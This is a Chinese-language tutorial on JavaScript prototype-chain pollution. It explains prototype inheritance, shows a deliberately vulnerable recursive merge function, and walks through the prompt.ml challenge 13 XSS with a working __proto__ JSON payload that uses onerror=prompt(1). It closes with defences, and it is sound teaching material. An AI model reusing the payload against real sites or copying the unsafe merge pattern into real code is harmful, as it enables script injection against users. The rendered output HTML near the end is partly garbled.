浅析javascript原型链污染攻击
字数 1037 2025-08-25 22:59:03
JavaScript原型链污染攻击深度解析
0x00 原型与原型链基础
基本概念
- 原型(Prototype): JavaScript中继承的基础,所有引用类型(函数、数组、对象)都拥有
__proto__属性(隐式原型) - 原型链(Prototype Chain): JavaScript实现继承的机制,递归继承原型对象的原型,顶端是
Object.prototype(最终为null)
关键特性
- 所有函数拥有
prototype属性(显式原型,仅限函数) - 实例对象通过
__proto__访问构造函数的原型对象 - 原型对象默认有
constructor属性指向构造函数
继承查找过程
当访问对象属性时:
- 首先查找对象自身属性
- 如果没有,通过
__proto__查找构造函数的原型 - 如果仍未找到,继续沿原型链向上查找,直到
Object.prototype(最终为null)
0x01 原型链污染机制
基本原理
通过修改原型对象的属性,影响所有继承该原型的实例对象。这种动态继承特性与传统语言(如Java)的静态继承完全不同。
示例对比
// JavaScript示例
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
son.__proto__.last_name = 'Obama' // 修改原型属性
let son1 = new Son()
console.log(son1.last_name) // 输出'Obama',所有实例受影响
// Java对比示例
class Father { public String name; }
class Son extends Father {
public Son(){ super.name = "father"; }
}
public class Test {
public static void main(String args[]) {
Son s1 = new Son();
s1.name = "son";
Son s2 = new Son();
System.out.println(s2.name); // 输出"father",实例独立
}
}
0x02 利用场景与条件
常见易受攻击场景
- 对象递归合并操作(如
merge) - 对象克隆操作
- 路径查找并修改属性时
关键利用条件
- 存在可控的对象键值
- 能够操作
__proto__属性
典型漏洞代码
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1, undefined
o3 = {}
console.log(o3.b) // 2,原型被污染
0x03 实际案例分析
XSS漏洞利用示例
分析prompt.ml第13题:
function escape(input) {
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
try {
var data = JSON.parse(input);
var config = extend({
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
var source = config.source.replace(/"/g, '');
return ''.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
漏洞利用步骤
- 通过
__proto__污染原型链,覆盖默认的source属性 - 利用
replace函数的特殊行为绕过过滤 - 构造XSS payload
最终Payload
{
"source": "%",
"__proto__": {
"source": "$` onerror=prompt(1)><!--"
}
}
漏洞解析
- 当
config.source被删除后,会从原型链查找source $在replace中有特殊含义:`$``表示匹配前的文本- 最终生成恶意HTML:
<!--">
0x04 防御措施
- 避免递归合并不可信数据:特别是包含
__proto__属性的对象 - 使用Object.create(null):创建无原型的对象作为接收对象
- 冻结原型对象:
Object.freeze(Object.prototype) - 严格输入验证:过滤或拒绝包含
__proto__的输入 - 使用安全的合并函数:如Lodash的
_.mergeWith自定义处理